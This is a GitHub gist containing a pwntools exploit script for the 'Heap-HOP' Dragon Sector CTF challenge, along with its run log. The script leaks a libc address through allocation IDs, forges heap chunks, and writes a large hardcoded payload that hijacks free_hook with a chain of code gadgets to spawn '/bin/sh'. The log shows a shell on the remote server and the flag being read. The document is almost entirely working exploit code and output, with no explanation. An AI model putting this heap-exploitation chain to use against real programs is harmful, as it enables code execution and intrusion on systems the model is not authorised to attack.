Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Last active November 23, 2020 09:13
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save d4em0n/3b4f509b39febba71f377ccd06f91f17 to your computer and use it in GitHub Desktop.
Save d4em0n/3b4f509b39febba71f377ccd06f91f17 to your computer and use it in GitHub Desktop.
Heap-HOP Dragon Sector CTF
from pwn import *
context.arch = "amd64"
context.terminal = "tmux splitw -h -f".split()
#cmd = "b* $_base()+0x1586"
cmd = ""
DEBUG = 0
p = process("./heap")
#p = remote("yetanotherheap.hackable.software", 1337)
if DEBUG:
gdb.attach(p, cmd, gdb_args=['--init-eval-command="source ~/ctf/tools/gef/gef.py"'])
def alloc(sz, content):
p.sendlineafter(">", "1")
p.sendlineafter(":", str(sz))
p.recvuntil("id: ")
try:
objid = int(p.recvuntil("\n", drop=True))
except:
objid = 0
pass
p.sendlineafter("content:", content)
print("alloc({}, {}...) = {}".format(sz, content[:7], objid))
return objid
def free(objid):
p.sendlineafter(">", "2")
p.sendlineafter("id:", str(objid))
alloc(0x20-1, str(1).ljust(0x20-1, "A"))
alloc(0x10-1, "A"*15)
alloc(0x30-1, "A"*(0x30-1))
free(0)
alloc(0x20, (p32(0x610)+p32(0xfffffff9)).ljust(32, b"\xff"))
free(97)
alloc(0x10-1, "A"*15)
i = 0
while alloc(0x10-1, str(i).ljust(15, "A")) != 127:
i += 1
data = [1]*64
while True:
c = alloc(0x10-1, str(i).ljust(15, "A"))
data[c-128] = 0
if c == (127+64):
break
data = data[::-1]
libc_leak = int("".join(list(map(str, data))),2)
print(hex(libc_leak))
base = libc_leak-2014176
pbuffer = base+2036952
alloc(0x610, p64(0)*190+p64(0)+p64(0x611)+b"id".ljust(4, b"\x00")+p32(0x1)+p64(0x0))
print(hex(pbuffer))
alloc(0x610, (b"\x00"*0x28+p64(pbuffer)).ljust(0x610, b"\x00"))
#pause()
alloc(0x800, "A"*0x800)
free(288)
alloc(0x800, (p32(0x5b10)+p32(0xffffffff)*2+p32(0x7fffffff)).ljust(0x800, b"\xff"))
#pause()
print(hex(base))
buf_idx = 2875 # idx location of pbuffer
payload = [0, 0, 0, 0, 0, 0, 0, 0, 2019168+base, 0, 0, 0, 644464+base, 646128+base, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 93824992252560, 0, 2014176+base, 2014176+base, 2014192+base, 2014192+base, 2014208+base, 2014208+base, 2014224+base, 2014224+base, 2014240+base, 2014240+base, 2014256+base, 2014256+base, 2014272+base, 2014272+base, 2014288+base, 2014288+base, 2014304+base, 2014304+base, 2014320+base, 2014320+base, 2014336+base, 2014336+base, 2014352+base, 2014352+base, 2014368+base, 2014368+base, 2014384+base, 2014384+base, 2014400+base, 2014400+base, 2014416+base, 2014416+base, 2014432+base, 2014432+base, 2014448+base, 2014448+base, 2014464+base, 2014464+base, 2014480+base, 2014480+base, 2014496+base, 2014496+base, 2014512+base, 2014512+base, 2014528+base, 2014528+base, 2014544+base, 2014544+base, 2014560+base, 2014560+base, 2014576+base, 2014576+base, 2014592+base, 2014592+base, 2014608+base, 2014608+base, 2014624+base, 2014624+base, 2014640+base, 2014640+base, 2014656+base, 2014656+base, 2014672+base, 2014672+base, 2014688+base, 2014688+base, 2014704+base, 2014704+base, 2014720+base, 2014720+base, 2014736+base, 2014736+base, 2014752+base, 2014752+base, 2014768+base, 2014768+base, 2014784+base, 2014784+base, 2014800+base, 2014800+base, 2014816+base, 2014816+base, 2014832+base, 2014832+base, 2014848+base, 2014848+base, 2014864+base, 2014864+base, 2014880+base, 2014880+base, 2014896+base, 2014896+base, 2014912+base, 2014912+base, 2014928+base, 2014928+base, 2014944+base, 2014944+base, 2014960+base, 2014960+base, 2014976+base, 2014976+base, 2014992+base, 2014992+base, 2015008+base, 2015008+base, 2015024+base, 2015024+base, 2015040+base, 2015040+base, 2015056+base, 2015056+base, 2015072+base, 2015072+base, 2015088+base, 2015088+base, 2015104+base, 2015104+base, 2015120+base, 2015120+base, 2015136+base, 2015136+base, 2015152+base, 2015152+base, 2015168+base, 2015168+base, 2015184+base, 2015184+base, 2015200+base, 2015200+base, 2015216+base, 2015216+base, 2015232+base, 2015232+base, 2015248+base, 2015248+base, 2015264+base, 2015264+base, 2015280+base, 2015280+base, 2015296+base, 2015296+base, 2015312+base, 2015312+base, 2015328+base, 2015328+base, 2015344+base, 2015344+base, 2015360+base, 2015360+base, 2015376+base, 2015376+base, 2015392+base, 2015392+base, 2015408+base, 2015408+base, 2015424+base, 2015424+base, 2015440+base, 2015440+base, 2015456+base, 2015456+base, 2015472+base, 2015472+base, 2015488+base, 2015488+base, 2015504+base, 2015504+base, 2015520+base, 2015520+base, 2015536+base, 2015536+base, 2015552+base, 2015552+base, 2015568+base, 2015568+base, 2015584+base, 2015584+base, 2015600+base, 2015600+base, 2015616+base, 2015616+base, 2015632+base, 2015632+base, 2015648+base, 2015648+base, 2015664+base, 2015664+base, 2015680+base, 2015680+base, 2015696+base, 2015696+base, 2015712+base, 2015712+base, 2015728+base, 2015728+base, 2015744+base, 2015744+base, 2015760+base, 2015760+base, 2015776+base, 2015776+base, 2015792+base, 2015792+base, 2015808+base, 2015808+base, 2015824+base, 2015824+base, 2015840+base, 2015840+base, 2015856+base, 2015856+base, 2015872+base, 2015872+base, 2015888+base, 2015888+base, 2015904+base, 2015904+base, 2015920+base, 2015920+base, 2015936+base, 2015936+base, 2015952+base, 2015952+base, 2015968+base, 2015968+base, 2015984+base, 2015984+base, 2016000+base, 2016000+base, 2016016+base, 2016016+base, 2016032+base, 2016032+base, 2016048+base, 2016048+base, 2016064+base, 2016064+base, 2016080+base, 2016080+base, 2016096+base, 2016096+base, 2016112+base, 2016112+base, 2016128+base, 2016128+base, 2016144+base, 2016144+base, 2016160+base, 2016160+base, 2016176+base, 2016176+base, 2016192+base, 2016192+base, 0, 0, 2014080+base, 0, 1, 135168, 135168, 654592+base, 660880+base, 0, 1804581+base, 1804581+base, 136561050+base, 136561029+base, 0, 0, 0, 1, 2, 2029592+base, 0, 18446744073709551615, 1830272+base, 0, 2000576+base, 2001920+base, 2002048+base, 2004224+base, 2001472+base, 2001344+base, 0, 2003392+base, 2003488+base, 2003616+base, 2003808+base, 2003936+base, 2004032+base, 1700800+base, 1696960+base, 1698496+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 1806278+base, 0, 0, 0, 2016704+base, 0, 0, 0, 4222427270, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2016928+base, 2, 18446744073709551615, 0, 2024624+base, 18446744073709551615, 0, 2013056+base, 0, 0, 0, 0, 0, 0, 2020512+base, 4222427268, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2013568+base, 1, 18446744073709551615, 0, 2024640+base, 18446744073709551615, 0, 2013312+base, 0, 0, 0, 0, 0, 0, 2020512+base, 2016704+base, 2016928+base, 2013568+base, 160768+base, 1680176+base, 1684208+base, 1684256+base, 1684352+base, 1684944+base, 1685456+base, 1685696+base, 1685744+base, 1685840+base, 1685920+base, 704112+base, 1686320+base, 1686400+base, 1686512+base, 1686640+base, 1165264+base, 1686656+base, 1686720+base, 1327520+base, 1686912+base, 1687040+base, 1687296+base, 1687424+base, 1401136+base, 1687456+base, 1687504+base, 1687552+base, 1687600+base, 1687648+base, 1687824+base, 0, 0, 0, 0, 612864+base, 486960+base, 610496+base, 610512+base, 616448+base, 610608+base, 611136+base, 612976+base, 612224+base, 611936+base, 612848+base, 612336+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 0, 0, 0, 0, 0, 0, 0, 565856+base, 513200+base, 610496+base, 610512+base, 565408+base, 566224+base, 568016+base, 612976+base, 612224+base, 611936+base, 612848+base, 566976+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 0, 0, 0, 0, 0, 0, 0, 602320+base, 605952+base, 605088+base, 610512+base, 616448+base, 599888+base, 611136+base, 548016+base, 612224+base, 595632+base, 595264+base, 544240+base, 547728+base, 547776+base, 547856+base, 547952+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 602320+base, 605952+base, 605088+base, 610512+base, 616448+base, 599888+base, 611136+base, 596448+base, 612224+base, 595632+base, 595264+base, 544240+base, 599840+base, 597984+base, 595840+base, 552432+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 618192+base, 557504+base, 617168+base, 610512+base, 618160+base, 610608+base, 611136+base, 618544+base, 612224+base, 611936+base, 612848+base, 612336+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 570944+base, 563648+base, 569728+base, 565984+base, 570912+base, 566224+base, 568016+base, 571264+base, 612224+base, 611936+base, 612848+base, 566976+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 570944+base, 569840+base, 569728+base, 565984+base, 570912+base, 566224+base, 568016+base, 571264+base, 612224+base, 611936+base, 612848+base, 566976+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 602320+base, 577120+base, 576192+base, 565984+base, 565408+base, 578272+base, 598976+base, 573984+base, 612224+base, 595680+base, 577856+base, 549872+base, 599840+base, 597984+base, 595840+base, 595616+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 602320+base, 577120+base, 576256+base, 565984+base, 565408+base, 578272+base, 598976+base, 573984+base, 612224+base, 595680+base, 577856+base, 549872+base, 599840+base, 597984+base, 595840+base, 595792+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 602320+base, 577120+base, 572000+base, 565984+base, 565408+base, 578272+base, 598976+base, 573984+base, 612224+base, 595632+base, 577856+base, 549872+base, 599840+base, 597984+base, 595840+base, 595616+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 580544+base, 569840+base, 569728+base, 565984+base, 570912+base, 566224+base, 568016+base, 571264+base, 612224+base, 611936+base, 580448+base, 566976+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 583840+base, 617264+base, 617168+base, 610512+base, 618160+base, 610608+base, 611136+base, 618544+base, 612224+base, 611936+base, 583760+base, 612336+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 618192+base, 585712+base, 617168+base, 610512+base, 618160+base, 610608+base, 611136+base, 618544+base, 612224+base, 611936+base, 612848+base, 612336+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 0, 586304+base, 0, 0, 0, 586128+base, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 602320+base, 605952+base, 600704+base, 610512+base, 616448+base, 599888+base, 595952+base, 595504+base, 612224+base, 595680+base, 595264+base, 544240+base, 599840+base, 597984+base, 595840+base, 595616+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 602320+base, 605952+base, 601184+base, 610512+base, 616448+base, 599888+base, 598144+base, 599536+base, 612224+base, 595680+base, 595856+base, 544240+base, 599840+base, 597984+base, 595840+base, 595792+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 602320+base, 605952+base, 605088+base, 610512+base, 616448+base, 599888+base, 598976+base, 596448+base, 612224+base, 595632+base, 595264+base, 544240+base, 599840+base, 597984+base, 595840+base, 595616+base, 597952+base, 616848+base, 616864+base, 0, 0, 0, 0, 0, 618192+base, 617264+base, 617168+base, 610512+base, 618160+base, 610608+base, 611136+base, 618544+base, 612224+base, 611936+base, 612848+base, 612336+base, 616816+base, 616832+base, 616784+base, 612848+base, 616800+base, 616848+base, 616864+base, 614112+base, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 4, 10979526148415287693, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 136560104+base, 0, 0, 0, 93824992387072, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 136560088+base, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9437184, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
# 0x153a46 : mov rsi, r15 ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]
# 0x15486a : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
# 0x1100db : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
payload[1541] = base+0x153a46 # free_hook
payload[buf_idx+1] = base+0x15486a
payload[buf_idx] = pbuffer+0x10
payload[buf_idx+2] = u64("/bin/sh\x00")
payload[buf_idx+9] = pbuffer
payload[buf_idx+4] = base+0x1100db
payload[buf_idx+17] = base+0xe62f0
alloc(0x5b10,flat(payload))
print(hex(base+0x153a46))
free(97)
p.interactive()
[+] Opening connection to yetanotherheap.hackable.software on port 1337: Done
alloc(31, 1AAAAAA...) = 1
alloc(15, AAAAAAA...) = 97
alloc(47, AAAAAAA...) = 193
alloc(32, b'\x10\x06\x00\x00\xf9\xff\xff'...) = 0
alloc(15, AAAAAAA...) = 97
alloc(15, 0AAAAAA...) = 98
alloc(15, 1AAAAAA...) = 99
alloc(15, 2AAAAAA...) = 100
alloc(15, 3AAAAAA...) = 101
alloc(15, 4AAAAAA...) = 102
alloc(15, 5AAAAAA...) = 103
alloc(15, 6AAAAAA...) = 111
alloc(15, 7AAAAAA...) = 112
alloc(15, 8AAAAAA...) = 113
alloc(15, 9AAAAAA...) = 114
alloc(15, 10AAAAA...) = 115
alloc(15, 11AAAAA...) = 116
alloc(15, 12AAAAA...) = 117
alloc(15, 13AAAAA...) = 118
alloc(15, 14AAAAA...) = 119
alloc(15, 15AAAAA...) = 120
alloc(15, 16AAAAA...) = 121
alloc(15, 17AAAAA...) = 122
alloc(15, 18AAAAA...) = 123
alloc(15, 19AAAAA...) = 124
alloc(15, 20AAAAA...) = 125
alloc(15, 21AAAAA...) = 126
alloc(15, 22AAAAA...) = 127
alloc(15, 22AAAAA...) = 128
alloc(15, 22AAAAA...) = 129
alloc(15, 22AAAAA...) = 130
alloc(15, 22AAAAA...) = 131
alloc(15, 22AAAAA...) = 132
alloc(15, 22AAAAA...) = 138
alloc(15, 22AAAAA...) = 145
alloc(15, 22AAAAA...) = 149
alloc(15, 22AAAAA...) = 150
alloc(15, 22AAAAA...) = 152
alloc(15, 22AAAAA...) = 153
alloc(15, 22AAAAA...) = 154
alloc(15, 22AAAAA...) = 155
alloc(15, 22AAAAA...) = 156
alloc(15, 22AAAAA...) = 158
alloc(15, 22AAAAA...) = 159
alloc(15, 22AAAAA...) = 161
alloc(15, 22AAAAA...) = 162
alloc(15, 22AAAAA...) = 163
alloc(15, 22AAAAA...) = 164
alloc(15, 22AAAAA...) = 166
alloc(15, 22AAAAA...) = 175
alloc(15, 22AAAAA...) = 176
alloc(15, 22AAAAA...) = 177
alloc(15, 22AAAAA...) = 178
alloc(15, 22AAAAA...) = 179
alloc(15, 22AAAAA...) = 180
alloc(15, 22AAAAA...) = 181
alloc(15, 22AAAAA...) = 182
alloc(15, 22AAAAA...) = 183
alloc(15, 22AAAAA...) = 184
alloc(15, 22AAAAA...) = 185
alloc(15, 22AAAAA...) = 186
alloc(15, 22AAAAA...) = 187
alloc(15, 22AAAAA...) = 188
alloc(15, 22AAAAA...) = 189
alloc(15, 22AAAAA...) = 190
alloc(15, 22AAAAA...) = 191
0x7fa1209dfbe0
alloc(1552, b'\x00\x00\x00\x00\x00\x00\x00'...) = 1
0x7fa1209e54d8
alloc(1552, b'\x00\x00\x00\x00\x00\x00\x00'...) = 2
alloc(2048, AAAAAAA...) = 289
alloc(2048, b'\x10[\x00\x00\xff\xff\xff'...) = 288
0x7fa1207f4000
alloc(23312, b'\x00\x00\x00\x00\x00\x00\x00'...) = 383
0x7fa120947a46
[*] Switching to interactive mode
$ ls
flag.txt
heap
$ cat flag.txt
DrgnS{Th4nk5_Qualys_f0r_Th3_1d34!!!!!11}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment